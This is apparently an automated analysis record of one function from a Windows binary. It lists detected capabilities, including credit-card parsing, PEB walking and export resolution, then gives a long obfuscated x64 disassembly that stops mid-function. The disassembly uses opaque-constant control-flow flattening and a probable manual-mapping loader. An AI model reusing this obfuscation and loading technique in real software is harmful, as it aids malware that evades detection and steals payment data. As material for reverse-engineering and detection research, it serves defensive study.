Function at 0x1400de670
Capabilities:
Access peb ldr_data
Check os version
Encrypt data using chaskey
Encrypt data using speck
Get number of processors
Hash data using fnv
Hash data using murmur3
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0xfeca1a42
pushf
not eax
add eax, 0xa5de63d3
xor eax, 0xefe02c38
rol eax, 0xda
popf
pushf
not eax
add eax, 0x9b21d621
xor eax, 0xf9fe048a
rol eax, 0x54
popf
cmp eax, 0x29
jne 0x1400de6ad
popf
pop rax
jmp 0x1400e0eec
cmp eax, 0
jne 0x1400de6bc
popf
pop rax
jmp 0x1400dea6d
cmp eax, 0x3f
jne 0x1400de6cb
popf
pop rax
jmp 0x1400e227f
cmp eax, 1
jne 0x1400de6da
popf
pop rax
jmp 0x1400deb24
cmp eax, 0xd
jne 0x1400de6e9
popf
pop rax
jmp 0x1400dfa7e
cmp eax, 0x1a
jne 0x1400de6f8
popf
pop rax
jmp 0x1400e04e6
cmp eax, 0xe
jne 0x1400de707
popf
pop rax
jmp 0x1400dfc2c
cmp eax, 0x31
jne 0x1400de716
popf
pop rax
jmp 0x1400e1732
cmp eax, 0x40
jne 0x1400de725
popf
pop rax
jmp 0x1400e22dd
cmp eax, 8
jne 0x1400de734
popf
pop rax
jmp 0x1400df451
cmp eax, 0x2a
jne 0x1400de743
popf
pop rax
jmp 0x1400e1180
cmp eax, 0x17
jne 0x1400de752
popf
pop rax
jmp 0x1400e0406
cmp eax, 0x1c
jne 0x1400de761
popf
pop rax
jmp 0x1400e063e
cmp eax, 0x2e
jne 0x1400de770
popf
pop rax
jmp 0x1400e1480
cmp eax, 0x18
jne 0x1400de77f
popf
pop rax
jmp 0x1400e0460
cmp eax, 0x2b
jne 0x1400de78e
popf
pop rax
jmp 0x1400e12fb
cmp eax, 0x1b
jne 0x1400de79d
popf
pop rax
jmp 0x1400e056f
cmp eax, 0x2d
jne 0x1400de7ac
popf
pop rax
jmp 0x1400e13b5
cmp eax, 0x23
jne 0x1400de7bb
popf
pop rax
jmp 0x1400e0a20
cmp eax, 0x25
jne 0x1400de7ca
popf
pop rax
jmp 0x1400e0bc5
cmp eax, 0x32
jne 0x1400de7d9
popf
pop rax
jmp 0x1400e179b
cmp eax, 0x13
jne 0x1400de7e8
popf
pop rax
jmp 0x1400e0021
cmp eax, 0x33
jne 0x1400de7f7
popf
pop rax
jmp 0x1400e1840
cmp eax, 0x24
jne 0x1400de806
popf
pop rax
jmp 0x1400e0b8d
cmp eax, 0x1e
jne 0x1400de815
popf
pop rax
jmp 0x1400e0780
cmp eax, 0xc
jne 0x1400de824
popf
pop rax
jmp 0x1400df9e0
cmp eax, 0x26
jne 0x1400de833
popf
pop rax
jmp 0x1400e0d3e
cmp eax, 0x27
jne 0x1400de842
popf
pop rax
jmp 0x1400e0dd5
cmp eax, 0x30
jne 0x1400de851
popf
pop rax
jmp 0x1400e1685
cmp eax, 0x10
jne 0x1400de860
popf
pop rax
jmp 0x1400dfeb8
cmp eax, 0x37
jne 0x1400de86f
popf
pop rax
jmp 0x1400e19aa
cmp eax, 9
jne 0x1400de87e
popf
pop rax
jmp 0x1400df5f0
cmp eax, 0x39
jne 0x1400de88d
popf
pop rax
jmp 0x1400e1ad7
cmp eax, 0x16
jne 0x1400de89c
popf
pop rax
jmp 0x1400e0387
cmp eax, 0x3b
jne 0x1400de8ab
popf
pop rax
jmp 0x1400e1be7
cmp eax, 0xa
jne 0x1400de8ba
popf
pop rax
jmp 0x1400df73d
cmp eax, 0x36
jne 0x1400de8c9
popf
pop rax
jmp 0x1400e1921
cmp eax, 0x14
jne 0x1400de8d8
popf
pop rax
jmp 0x1400e00e0
cmp eax, 7
jne 0x1400de8e7
popf
pop rax
jmp 0x1400df417
cmp eax, 0x3d
jne 0x1400de8f6
popf
pop rax
jmp 0x1400e1fdc
cmp eax, 2
jne 0x1400de905
popf
pop rax
jmp 0x1400deb84
cmp eax, 0x20
jne 0x1400de914
popf
pop rax
jmp 0x1400e0874
cmp eax, 0x1d
jne 0x1400de923
popf
pop rax
jmp 0x1400e069c
cmp eax, 0x11
jne 0x1400de932
popf
pop rax
jmp 0x1400dff1e
cmp eax, 0x35
jne 0x1400de941
popf
pop rax
jmp 0x1400e18bd
cmp eax, 0x3a
jne 0x1400de950
popf
pop rax
jmp 0x1400e1b82
cmp eax, 0x12
jne 0x1400de95f
popf
pop rax
jmp 0x1400dff7f
cmp eax, 0x21
jne 0x1400de96e
popf
pop rax
jmp 0x1400e08e6
cmp eax, 0x38
jne 0x1400de97d
popf
pop rax
jmp 0x1400e1a79
cmp eax, 0xb
jne 0x1400de98c
popf
pop rax
jmp 0x1400df984
cmp eax, 0xf
jne 0x1400de99b
popf
pop rax
jmp 0x1400dfd3e
cmp eax, 0x15
jne 0x1400de9aa
popf
pop rax
jmp 0x1400e0344
cmp eax, 5
jne 0x1400de9b9
popf
pop rax
jmp 0x1400df29e
cmp eax, 6
jne 0x1400de9c8
popf
pop rax
jmp 0x1400df305
cmp eax, 0x22
jne 0x1400de9d7
popf
pop rax
jmp 0x1400e0998
cmp eax, 0x3c
jne 0x1400de9e6
popf
pop rax
jmp 0x1400e1f49
cmp eax, 0x1f
jne 0x1400de9f5
popf
pop rax
jmp 0x1400e07e5
cmp eax, 4
jne 0x1400dea04
popf
pop rax
jmp 0x1400df22d
cmp eax, 0x2f
jne 0x1400dea13
popf
pop rax
jmp 0x1400e152c
cmp eax, 0x28
jne 0x1400dea22
popf
pop rax
jmp 0x1400e0e59
cmp eax, 0x3e
jne 0x1400dea31
popf
pop rax
jmp 0x1400e20fe
cmp eax, 0x34
jne 0x1400dea40
popf
pop rax
jmp 0x1400e1881
cmp eax, 0x2c
jne 0x1400dea4f
popf
pop rax
jmp 0x1400e1351
cmp eax, 3
jne 0x1400dea5e
popf
pop rax
jmp 0x1400df1c9
cmp eax, 0x19
jne 0x1400dea6d
popf
pop rax
jmp 0x1400e04c5
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x308
call fcn.1400af979
mov rcx, qword [rsp + 0x330]
call fcn.14012b007
mov dword [rsp + 0x5c], eax
mov ecx, dword [rsp + 0x5c]
call fcn.14012ab33
cmp dword [rsp + 0x5c], 0
jne 0x1400deade
push rax
pushf
mov eax, 0xb853a2d3
pushf
not eax
add eax, 0xdbe0a5af
xor eax, 0x9fc9b94d
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x96d80a1b
xor eax, 0xbf4f7288
rol eax, 0x5b
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0xbc067d78
pushf
not eax
add eax, 0xc51ffc8f
xor eax, 0xf292b4e8
rol eax, 0x59
popf
pushf
not eax
add eax, 0xb60f9c67
xor eax, 0x992a8872
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x88d7a584
xor eax, 0xc0a4b0df
rol eax, 0x9c
popf
jmp 0x1400de69e
xor al, al
jmp 0x1400e2313
mov ecx, dword [rsp + 0x5c]
call fcn.1401272a6
mov qword [rsp + 0x1a8], rax
xor edx, edx
mov rcx, qword [rsp + 0x1a8]
jmp 0x1400deba0
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [rsp + 0x278], eax
mov eax, 0xc5ac4d1f
pushf
not eax
add eax, 0xeb906ffc
xor eax, 0xf499b1cc
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x9765b48a
xor eax, 0xc5a82179
rol eax, 0x6a
popf
imul rax, rax, 0
lea rcx, [0x1bdbcb4a9]
pushf
sub rcx, 0x7db998a1
popf
xor edx, edx
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x34], al
mov eax, 0xa85b27fd
pushf
not eax
add eax, 0x9ef9fcf6
xor eax, 0xbed7e5d6
rol eax, 0x13
popf
pushf
not eax
add eax, 0xe62cd3a7
xor eax, 0x99abb5e8
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xd7cfe23a
xor eax, 0x937d0b25
rol eax, 0xaa
popf
imul rax, rax, 1
lea rcx, [0x1b02cee83]
pushf
sub rcx, 0x7029d27b
popf
mov edx, 0x6a40a543
pushf
not edx
add edx, 0xb08998b4
xor edx, 0xec8fdbad
rol edx, 0x76
popf
pushf
not edx
add edx, 0xdb81093a
xor edx, 0xa416576b
rol edx, 0x1e
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x35], al
mov eax, 0x2f7690fd
pushf
not eax
add eax, 0xbc28af61
xor eax, 0xf107e66b
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xeedf287c
xor eax, 0xcb0d0677
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xfe07c79e
xor eax, 0xe224cda9
rol eax, 0x85
popf
imul rax, rax, 2
lea rcx, [0x192f03154]
pushf
sub rcx, 0x52ed154c
popf
mov edx, 0x800082f4
pushf
not edx
add edx, 0xd61b17ce
xor edx, 0xb97ab94f
rol edx, 0x99
popf
pushf
not edx
add edx, 0xc6154cf8
xor edx, 0xcb6f8d03
rol edx, 0xf6
popf
pushf
not edx
add edx, 0xf3854adc
xor edx, 0xabb0749b
rol edx, 4
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x36], al
mov eax, 0x81118469
pushf
not eax
add eax, 0xaad4527f
xor eax, 0x8e74cbe3
rol eax, 0x79
popf
pushf
not eax
add eax, 0xdc25bbd5
xor eax, 0xeed64f89
rol eax, 0x9a
popf
imul rax, rax, 3
lea rcx, [0x1ba1a6b03]
pushf
sub rcx, 0x7a174efb
popf
mov edx, 0x5b9774f3
pushf
not edx
add edx, 0xe23f7f58
xor edx, 0x911c9cf6
rol edx, 0xca
popf
pushf
not edx
add edx, 0xb769aa02
xor edx, 0xe56f61a3
rol edx, 0x2b
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x37], al
mov eax, 0x488c1838
pushf
not eax
add eax, 0xbc2461ba
xor eax, 0xc4cf46ca
rol eax, 0x52
popf
pushf
not eax
add eax, 0xa121ebd6
xor eax, 0xb79c8539
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xf976476c
xor eax, 0xec3f4eb7
rol eax, 0x8c
popf
imul rax, rax, 4
lea rcx, [0x1ad2f4996]
pushf
sub rcx, 0x6d2c2d8e
popf
mov edx, 0x208be1af
pushf
not edx
add edx, 0xf4b88974
xor edx, 0xd53150c2
rol edx, 0xf7
popf
pushf
not edx
add edx, 0x8c0cb9c1
xor edx, 0xf1fae49d
rol edx, 0xf8
popf
pushf
not edx
add edx, 0xb09c4b21
xor edx, 0xc6e72e67
rol edx, 0x72
popf
pushf
not edx
add edx, 0xda3b7c34
xor edx, 0xf1653622
rol edx, 0xba
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x38], al
mov eax, 0x3a7cc0a0
pushf
not eax
add eax, 0xa2065022
xor eax, 0xb430f818
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xb523daed
xor eax, 0xceaadcb5
rol eax, 0x81
popf
pushf
not eax
add eax, 0xd5235511
xor eax, 0x8399cbeb
rol eax, 0xda
popf
pushf
not eax
add eax, 0xfb12e580
xor eax, 0xb3893cd9
rol eax, 0xc8
popf
imul rax, rax, 5
lea rcx, [0x1af3edca8]
pushf
sub rcx, 0x6f3bc0a0
popf
mov edx, 0x3bbd696b
pushf
not edx
add edx, 0x811361dc
xor edx, 0xeb0b6b46
rol edx, 0xfe
popf
pushf
not edx
add edx, 0xdc8fc8c3
xor edx, 0xad97a9a5
rol edx, 0x3a
popf
pushf
not edx
add edx, 0xe5722367
xor edx, 0xa25c653d
rol edx, 0xeb
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x39], al
mov eax, 0x5b1b59f5
pushf
not eax
add eax, 0xc19d0e96
xor eax, 0xeed48e78
rol eax, 0xff
popf
pushf
not eax
add eax, 0xaf1551b6
xor eax, 0xa3d7b8ed
rol eax, 0x55
popf
pushf
not eax
add eax, 0xdf8717f4
xor eax, 0xdea23259
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xe72481de
xor eax, 0xeee30fd4
rol eax, 0xb9
popf
imul rax, rax, 6
lea rcx, [0x1bac955c0]
pushf
sub rcx, 0x7ac639b8
popf
mov edx, 0x2c8a0292
pushf
not edx
add edx, 0xdf42f920
xor edx, 0xdccba6f6
rol edx, 0x84
popf
pushf
not edx
add edx, 0xc3ba6703
xor edx, 0xdc455f4c
rol edx, 0xeb
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x3a], al
mov eax, 0xc02621c3
pushf
not eax
add eax, 0xc4751dfa
xor eax, 0x84db9e62
rol eax, 0x12
popf
pushf
not eax
add eax, 0xcbe4a729
xor eax, 0xfbbdf540
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xf4ff5548
xor eax, 0xb36b9c18
rol eax, 4
popf
imul rax, rax, 7
lea rcx, [0x1a086ab5b]
pushf
sub rcx, 0x60838f53
popf
mov edx, 0x64804135
pushf
not edx
add edx, 0xc76280de
xor edx, 0xbcc667d9
rol edx, 0x30
popf
pushf
not edx
add edx, 0xbbd2c247
xor edx, 0xe50c2b9d
rol edx, 0xf4
popf
pushf
not edx
add edx, 0xa39986c8
xor edx, 0x90298cb5
rol edx, 0x51
popf
pushf
not edx
add edx, 0xaea1348c
xor edx, 0x8807457a
rol edx, 0xb1
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x3b], al
mov eax, 0x18988786
pushf
not eax
add eax, 0xe213a3ee
xor eax, 0xde096b77
rol eax, 0x64
popf
pushf
not eax
add eax, 0xb21fd128
xor eax, 0x9b1853e2
rol eax, 0x44
popf
pushf
not eax
add eax, 0xae4f12d2
xor eax, 0x904bd686
rol eax, 0x40
popf
imul rax, rax, 8
lea rcx, [0x18ef70058]
pushf
sub rcx, 0x4ef3e450
popf
mov edx, 0xda376998
pushf
not edx
add edx, 0xe8c27ec8
xor edx, 0x9054e293
rol edx, 0x11
popf
pushf
not edx
add edx, 0x9545706d
xor edx, 0xadcc32ad
rol edx, 8
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x3c], al
lea rax, [rsp + 0x3d]
lea rax, [rsp + 0x3d]
mov rdi, rax
xor eax, eax
mov ecx, 0xfae91933
pushf
not ecx
add ecx, 0xabe8ffc6
xor ecx, 0xb711dc96
rol ecx, 0x7d
popf
pushf
not ecx
add ecx, 0x88fd8e4a
xor ecx, 0xaafa9a12
rol ecx, 0x1e
popf
pushf
not ecx
add ecx, 0xb4d821e2
xor ecx, 0xc196ca9b
rol ecx, 0x65
popf
rep stosb byte [rdi], al
mov dword [rsp + 0x28], 0
jmp 0x1400df22d
mov eax, dword [rsp + 0x28]
jmp 0x1400df1ce
inc eax
mov dword [rsp + 0x28], eax
push rax
pushf
mov eax, 0xa0f2c6
pushf
not eax
add eax, 0xe30fe207
xor eax, 0x8d9e4358
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xc94daf24
xor eax, 0xda475c8f
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xfac1ef61
xor eax, 0xf5e60af8
rol eax, 0x78
popf
pushf
not eax
add eax, 0xc2257137
xor eax, 0x90062082
rol eax, 0x50
popf
jmp 0x1400de69e
movsxd rax, dword [rsp + 0x28]
cmp rax, 9
jae 0x1400df26b
push rax
pushf
mov eax, 0x68704e9
pushf
not eax
add eax, 0xb7e3e958
xor eax, 0xcb97fd41
rol eax, 0x2e
popf
pushf
not eax
add eax, 0x84c000f0
xor eax, 0xb474223d
rol eax, 0xe7
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x460556d8
pushf
not eax
add eax, 0xb4dd47dc
xor eax, 0xa9dcd2f0
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x8c680d66
xor eax, 0xfa6e29e3
rol eax, 0xe1
popf
jmp 0x1400de69e
movsxd rax, dword [rsp + 0x28]
movsx eax, byte [rsp + rax + 0x34]
mov ecx, dword [rsp + 0x28]
add ecx, 0x13
xor eax, ecx
movsxd rcx, dword [rsp + 0x28]
mov byte [rsp + rcx + 0x34], al
jmp 0x1400df1c9
mov eax, 0xe29f6787
pushf
not eax
add eax, 0xcf184279
xor eax, 0xd64a16d5
rol eax, 0x48
popf
pushf
not eax
add eax, 0xe708b1d3
xor eax, 0xb47c8d98
rol eax, 0x2a
popf
imul rax, rax, 9
mov byte [rsp + rax + 0x34], 0
lea rax, [rsp + 0x34]
mov rcx, rax
jmp 0x1400df342
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
jne 0x1400df3be
push rax
pushf
mov eax, 0xab69fb17
pushf
not eax
add eax, 0xeee28b9c
xor eax, 0xd9332f52
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xfef95eac
xor eax, 0xd1b4dd71
rol eax, 0x58
popf
pushf
not eax
add eax, 0xfc76e1d4
xor eax, 0xd6de8657
rol eax, 0xde
popf
pushf
not eax
add eax, 0xe40c5df7
xor eax, 0xdc7ee67a
rol eax, 0x3e
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x34adcce5
pushf
not eax
add eax, 0xe0af4162
xor eax, 0xfbe645f1
rol eax, 0x28
popf
pushf
not eax
add eax, 0xce67f7fa
xor eax, 0xad45a2e6
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xe44d5ef4
xor eax, 0xe7d86f73
rol eax, 0x91
popf
pushf
not eax
add eax, 0xd1bbc2e5
xor eax, 0xe73f42c2
rol eax, 0x92
popf
jmp 0x1400de69e
xor al, al
jmp 0x1400e2313
mov rcx, qword [rsp + 0x70]
call fcn.1400ce8db
mov qword [rsp + 0x50], rax
call fcn.14012d618
mov eax, dword [0x140040214]
mov dword [rsp + 0xf0], eax
lea rax, [rsp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, 0xbb455e2
pushf
not ecx
add ecx, 0xe39bbd76
xor ecx, 0xeb451e25
rol ecx, 0xbe
popf
pushf
not ecx
add ecx, 0xe32a4753
xor ecx, 0xad04754c
rol ecx, 0x6a
popf
pushf
not ecx
add ecx, 0xe457acd1
xor ecx, 0xee580675
rol ecx, 0x90
popf
pushf
not ecx
add ecx, 0xa3d3e6bc
xor ecx, 0xa13ac403
rol ecx, 0xa0
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x2a8]
lea rcx, [0x19c989e51]
pushf
sub rcx, 0x5c958041
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0x6a29cd0e
pushf
not ecx
add ecx, 0xe0e4aef8
xor ecx, 0xe5d39ca7
rol ecx, 0x72
popf
pushf
not ecx
add ecx, 0xde3840ef
xor ecx, 0x88fdf34b
rol ecx, 0xa4
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x2a8]
call fcn.1400ac3b0
mov qword [rsp + 0x1b0], rax
mov edx, dword [rsp + 0xf0]
mov rcx, qword [rsp + 0x1b0]
call fcn.1400fd54a
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
jne 0x1400df597
push rax
pushf
mov eax, 0xf5470777
pushf
not eax
add eax, 0xca8e75d7
xor eax, 0xce0b729b
rol eax, 0x69
popf
pushf
not eax
add eax, 0x9265f01c
xor eax, 0xfa2567e5
rol eax, 0x10
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0xb754b481
pushf
not eax
add eax, 0xbf9c7967
xor eax, 0xc82a941e
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xc1e68c98
xor eax, 0xd7d4ad81
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xb83e791b
xor eax, 0xa1740be4
rol eax, 0x10
popf
pushf
not eax
add eax, 0xf1131022
xor eax, 0xb068d989
rol eax, 0x39
popf
jmp 0x1400de69e
mov eax, dword [0x140040214]
mov dword [rsp + 0xf4], eax
lea rax, [rsp + 0x59]
mov rdi, rax
xor eax, eax
mov ecx, 0x9166ed7a
pushf
not ecx
add ecx, 0x97ee0fae
xor ecx, 0xf61c266f
rol ecx, 0xa
popf
pushf
not ecx
add ecx, 0xe90e1551
xor ecx, 0xc4a74458
rol ecx, 0x98
popf
pushf
not ecx
add ecx, 0xcdbbb646
xor ecx, 0xb3957109
rol ecx, 0xde
popf
pushf
not ecx
add ecx, 0xdfb2596a
xor ecx, 0x868cce8f
rol ecx, 0x85
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x2ce]
lea rcx, [0x18206949b]
pushf
sub rcx, 0x420376eb
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0x33fe08fd
pushf
not ecx
add ecx, 0xe3f4ea02
xor ecx, 0xf229ae0e
rol ecx, 0x76
popf
pushf
not ecx
add ecx, 0xb2870264
xor ecx, 0xefef88f0
rol ecx, 0x9c
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x2ce]
call fcn.1400ac3b0
mov qword [rsp + 0x1b8], rax
mov edx, dword [rsp + 0xf4]
mov rcx, qword [rsp + 0x1b8]
call fcn.1400fd54a
mov qword [rsp + 0x90], rax
push rax
pushf
mov eax, 0xcec31fcb
pushf
not eax
add eax, 0x94614623
xor eax, 0xe59e733e
rol eax, 0x10
popf
pushf
not eax
add eax, 0xfeb067c0
xor eax, 0x99572889
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xf69c1f5e
xor eax, 0xeb9969a7
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xdab3d348
xor eax, 0xa367ea82
rol eax, 0xe5
popf
jmp 0x1400de69e
mov edx, dword [0x140040214]
lea rcx, [0x1a4c1f5aa]
pushf
sub rcx, 0x64bed992
popf
call fcn.1400fd54a
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
add rax, 0x386008
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x90]
add rax, 0x1000
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x90]
add rax, 0x2000
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x90]
add rax, 0x50000
mov qword [rsp + 0x48], rax
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
call fcn.1400fc014
movzx eax, al
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x70]
call fcn.1400a4d17
movzx eax, al
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x50]
mov r8d, 0xf874b1a2
pushf
not r8d
add r8d, 0x9b0fdbf9
xor r8d, 0xd694ca8a
rol r8d, 0x77
popf
pushf
not r8d
add r8d, 0xbf998211
xor r8d, 0xf8209d51
rol r8d, 0x90
popf
pushf
not r8d
add r8d, 0x96f4ab06
xor r8d, 0xab830186
rol r8d, 0xa8
popf
mov edx, eax
mov rcx, qword [rsp + 0x48]
call fcn.140161c88
mov r8d, 0xe28a0e12
pushf
not r8d
add r8d, 0x95af99c2
xor r8d, 0xba763584
rol r8d, 0x2f
popf
pushf
not r8d
add r8d, 0x8d69a9a9
xor r8d, 0x8ae2387b
rol r8d, 0xb5
popf
pushf
not r8d
add r8d, 0x8be45651
xor r8d, 0xeb5fbf8d
rol r8d, 0x66
popf
mov edx, 0x4a86348f
pushf
not edx
add edx, 0x9e98b39b
xor edx, 0x9b968297
rol edx, 0x3a
popf
pushf
not edx
add edx, 0xb0a319a0
xor edx, 0xc66bfc81
rol edx, 0xac
popf
pushf
not edx
add edx, 0xa4891114
xor edx, 0xb4f68963
rol edx, 0x61
popf
mov rcx, qword [rsp + 0x138]
call fcn.140161c88
mov qword [rsp + 0x1c8], 0
mov r8d, 0xd13da923
pushf
not r8d
add r8d, 0x88b25533
xor r8d, 0xa12533f4
rol r8d, 0xcf
popf
pushf
not r8d
add r8d, 0xb6beb7e6
xor r8d, 0xf6c12cbd
rol r8d, 0x87
popf
lea rdx, [rsp + 0x1c8]
mov rcx, qword [rsp + 0x138]
call fcn.1400815da
mov qword [rsp + 0xa8], 0
jmp 0x1400df9e0
mov rax, qword [rsp + 0xa8]
add rax, 0x1000
mov qword [rsp + 0xa8], rax
push rax
pushf
mov eax, 0x8eaf1c72
pushf
not eax
add eax, 0xda48254f
xor eax, 0xdbd97263
rol eax, 0xd3
popf
pushf
not eax
add eax, 0x9bc64880
xor eax, 0x85b6a382
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xbfc112c3
xor eax, 0x99e79332
rol eax, 0x29
popf
jmp 0x1400de69e
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x50]
cmp qword [rsp + 0xa8], rax
jae 0x1400dfa25
push rax
pushf
mov eax, 0x2e0ed798
pushf
not eax
add eax, 0xb6b9c044
xor eax, 0xa052088a
rol eax, 0x28
popf
pushf
not eax
add eax, 0xf6a8fa1f
xor eax, 0xe7c8d8f6
rol eax, 0x47
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0xa07f7ba2
pushf
not eax
add eax, 0x8228eb50
xor eax, 0x8fe75dd2
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xca8a72b4
xor eax, 0xe387abbc
rol eax, 0x79
popf
pushf
not eax
add eax, 0xeabd381c
xor eax, 0xfafd2b25
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x87fbee98
xor eax, 0xcf8b7f8f
rol eax, 0x49
popf
jmp 0x1400de69e
mov ecx, 0x9c395d5f
pushf
not ecx
add ecx, 0xa3f98c15
xor ecx, 0x8c6281a6
rol ecx, 0xab
popf
pushf
not ecx
add ecx, 0xf064d5c8
xor ecx, 0xfa9ffc6a
rol ecx, 0x2f
popf
pushf
not ecx
add ecx, 0x86872657
xor ecx, 0xbcdbf4f4
rol ecx, 0x39
popf
pushf
not ecx
add ecx, 0xacc017b7
xor ecx, 0x9a8e5df1
rol ecx, 0x4e
popf
jmp 0x1400dfad8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x160], rax
mov rdi, qword [rsp + 0x160]
xor eax, eax
mov ecx, 0x2ef70914
pushf
not ecx
add ecx, 0xc6187dca
xor ecx, 0xf59b3416
rol ecx, 0x42
popf
pushf
not ecx
add ecx, 0xbbc378d4
xor ecx, 0xd36dbbe2
rol ecx, 0xd3
popf
pushf
not ecx
add ecx, 0xc11cafdd
xor ecx, 0x8d832188
rol ecx, 0xa0
popf
pushf
not ecx
add ecx, 0xb1c47762
xor ecx, 0xd34fc3cb
rol ecx, 0xbb
popf
rep stosb byte [rdi], al
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x48]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov r8d, 0x47fb66a
pushf
not r8d
add r8d, 0x84142b91
xor r8d, 0xb07222bc
rol r8d, 0xf2
popf
pushf
not r8d
add r8d, 0xef18647a
xor r8d, 0xd35fb52e
rol r8d, 0x8c
popf
pushf
not r8d
add r8d, 0xa95e2569
xor r8d, 0xc3e0c828
rol r8d, 0xf9
popf
pushf
not r8d
add r8d, 0xf1ae38af
xor r8d, 0xef22f59c
rol r8d, 0xfa
popf
mov rdx, qword [rsp + 0x160]
mov rcx, rax
call fcn.1400815da
jmp 0x1400df984
mov r8d, 0x5a0297ad
pushf
not r8d
add r8d, 0x90cac090
xor r8d, 0xf926485f
rol r8d, 0x2b
popf
pushf
not r8d
add r8d, 0xc7f026f3
xor r8d, 0xfb31ef4b
rol r8d, 0xec
popf
pushf
not r8d
add r8d, 0x9de65a6b
xor r8d, 0xe072cf4d
rol r8d, 0x87
popf
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
call fcn.1400815da
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x130], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1d0]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x1d8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x128], rax
push rax
pushf
mov eax, 0x35410519
pushf
not eax
add eax, 0xf6a5e0c1
xor eax, 0xdbc3c058
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xbf668858
xor eax, 0xe8562670
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xb92db362
xor eax, 0xd1281eb4
rol eax, 0x51
popf
pushf
not eax
add eax, 0x9f792a4c
xor eax, 0xa2b240ed
rol eax, 0x3d
popf
jmp 0x1400de69e
mov rax, qword [rsp + 0x128]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xb0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xb0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x1e8], rax
mov eax, 0x8f0b2f41
pushf
not eax
add eax, 0xd2ccea41
xor eax, 0xac791551
rol eax, 0xf
popf
pushf
not eax
add eax, 0x8e8602dd
xor eax, 0x853608fa
rol eax, 0x40
popf
pushf
not eax
add eax, 0xf031daa3
xor eax, 0xcb20df0e
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x8b330a10
xor eax, 0xac3bdcdb
rol eax, 0xf9
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x1e8]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x168], rax
mov eax, dword [rsp + 0x168]
mov rcx, qword [rsp + 0xb0]
